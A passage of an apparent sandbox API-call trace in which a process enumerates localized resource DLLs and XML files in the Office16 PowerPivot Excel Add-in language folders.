ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.273] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2cf9c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2cf9c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0281.273] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf43e3cb7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fda98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0281.273] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2834f0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2834f0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0281.273] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68ff786, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0281.273] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf03d07a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf03d07a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0281.273] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b0f72e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b359a5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0281.273] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22a9f7a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0281.273] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf466c4e5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf466c4e5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf466c4e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0281.274] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4d48116, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4d48116, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0281.274] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9992797, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9992797, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0281.274] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf10a1263, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0281.274] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0281.274] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0281.274] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf19de457, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf19de457, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf19de457, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0281.274] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2ff666, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2ff666, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0281.274] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c75fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c75fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa39cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0281.275] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c75fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c75fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa39cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0281.275] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0281.277] GetProcessHeap () returned 0xaf0000 [0281.277] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.277] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0281.277] GetProcessHeap () returned 0xaf0000 [0281.277] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0281.278] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.279] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.279] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0281.279] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0281.279] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0281.279] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ff030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0281.279] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0281.279] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc240ad7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0281.279] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.281] GetProcessHeap () returned 0xaf0000 [0281.281] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.281] GetProcessHeap () returned 0xaf0000 [0281.281] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0281.295] GetProcessHeap () returned 0xaf0000 [0281.295] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.296] GetProcessHeap () returned 0xaf0000 [0281.296] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0281.300] GetProcessHeap () returned 0xaf0000 [0281.300] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.300] GetProcessHeap () returned 0xaf0000 [0281.300] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0281.586] GetProcessHeap () returned 0xaf0000 [0281.588] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.605] GetProcessHeap () returned 0xaf0000 [0281.605] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.606] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0281.609] GetProcessHeap () returned 0xaf0000 [0281.609] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.610] GetProcessHeap () returned 0xaf0000 [0281.610] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.613] GetProcessHeap () returned 0xaf0000 [0281.613] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.614] GetProcessHeap () returned 0xaf0000 [0281.614] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.616] GetProcessHeap () returned 0xaf0000 [0281.616] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.616] GetProcessHeap () returned 0xaf0000 [0281.616] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0281.620] GetProcessHeap () returned 0xaf0000 [0281.620] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.620] GetProcessHeap () returned 0xaf0000 [0281.620] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0281.624] GetProcessHeap () returned 0xaf0000 [0281.624] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.624] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0281.624] GetProcessHeap () returned 0xaf0000 [0281.624] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, 